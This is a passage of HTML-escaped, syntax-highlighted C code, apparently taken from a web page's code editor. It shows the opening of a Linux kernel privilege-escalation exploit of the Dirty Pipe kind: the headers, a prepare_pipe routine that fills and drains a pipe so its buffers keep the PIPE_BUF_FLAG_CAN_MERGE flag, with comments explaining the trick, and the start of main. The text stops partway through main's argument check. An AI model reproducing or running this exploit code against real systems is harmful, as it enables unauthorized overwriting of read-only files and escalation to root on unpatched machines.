0);\"\u003E*\u002F\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-meta\" style=\"box-sizing: border-box; color: rgb(85, 85, 85);\"\u003E#define _GNU_SOURCE\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-meta\" style=\"box-sizing: border-box; color: rgb(85, 85, 85);\"\u003E#include <unistd.h>\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-meta\" style=\"box-sizing: border-box; color: rgb(85, 85, 85);\"\u003E#include <fcntl.h>\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-meta\" style=\"box-sizing: border-box; color: rgb(85, 85, 85);\"\u003E#include <stdio.h>\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-meta\" style=\"box-sizing: border-box; color: rgb(85, 85, 85);\"\u003E#include <stdlib.h>\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-meta\" style=\"box-sizing: border-box; color: rgb(85, 85, 85);\"\u003E#include <string.h>\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-meta\" style=\"box-sizing: border-box; color: rgb(85, 85, 85);\"\u003E#include <sys\u002Fstat.h>\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-meta\" style=\"box-sizing: border-box; color: rgb(85, 85, 85);\"\u003E#include <sys\u002Fuser.h>\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-meta\" style=\"box-sizing: border-box; color: rgb(85, 85, 85);\"\u003E#ifndef PAGE_SIZE\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-meta\" style=\"box-sizing: border-box; color: rgb(85, 85, 85);\"\u003E#define PAGE_SIZE 4096\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-meta\" style=\"box-sizing: border-box; color: rgb(85, 85, 85);\"\u003E#endif\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F**\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* Create a pipe where all \"bufs\" on the pipe_inode_info ring have the\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* PIPE_BUF_FLAG_CAN_MERGE flag set.\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E*\u002F\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Estatic\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Evoid\u003C\u002Fspan\u003E \u003Cspan class=\"cm-def\" style=\"box-sizing: border-box; color: rgb(0, 0, 255);\"\u003Eprepare_pipe\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Eint\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ep\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E2\u003C\u002Fspan\u003E])\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E{\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Epipe\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ep\u003C\u002Fspan\u003E)) \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eabort\u003C\u002Fspan\u003E();\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Econst\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Eunsigned\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Epipe_size\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Efcntl\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ep\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E], \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EF_GETPIPE_SZ\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Estatic\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Echar\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ebuffer\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E4096\u003C\u002Fspan\u003E];\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F* fill the pipe completely; each pipe_buffer will now have\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E   \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003Ethe PIPE_BUF_FLAG_CAN_MERGE flag *\u002F\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Efor\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Eunsigned\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Er\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Epipe_size\u003C\u002Fspan\u003E; \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Er\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E>\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E;) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Eunsigned\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003En\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Er\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E>\u003C\u002Fspan\u003E \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Esizeof\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ebuffer\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E?\u003C\u002Fspan\u003E \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Esizeof\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ebuffer\u003C\u002Fspan\u003E) : \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Er\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ewrite\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ep\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E], \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ebuffer\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003En\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Er\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E-=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003En\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F* drain the pipe, freeing all pipe_buffer instances (but\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E   \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003Eleaving the flags initialized) *\u002F\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Efor\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Eunsigned\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Er\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Epipe_size\u003C\u002Fspan\u003E; \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Er\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E>\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E;) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Eunsigned\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003En\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Er\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E>\u003C\u002Fspan\u003E \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Esizeof\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ebuffer\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E?\u003C\u002Fspan\u003E \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Esizeof\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ebuffer\u003C\u002Fspan\u003E) : \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Er\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eread\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ep\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E], \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ebuffer\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003En\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Er\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E-=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003En\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F* the pipe is now empty, and if somebody adds a new\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E   \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003Epipe_buffer without initializing its \"flags\", the buffer\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E   \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003Ewill be mergeable *\u002F\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Eint\u003C\u002Fspan\u003E \u003Cspan class=\"cm-def\" style=\"box-sizing: border-box; color: rgb(0, 0, 255);\"\u003Emain\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Eint\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eargc\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Echar\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003E**\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eargv\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E{\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eargc\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E4\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 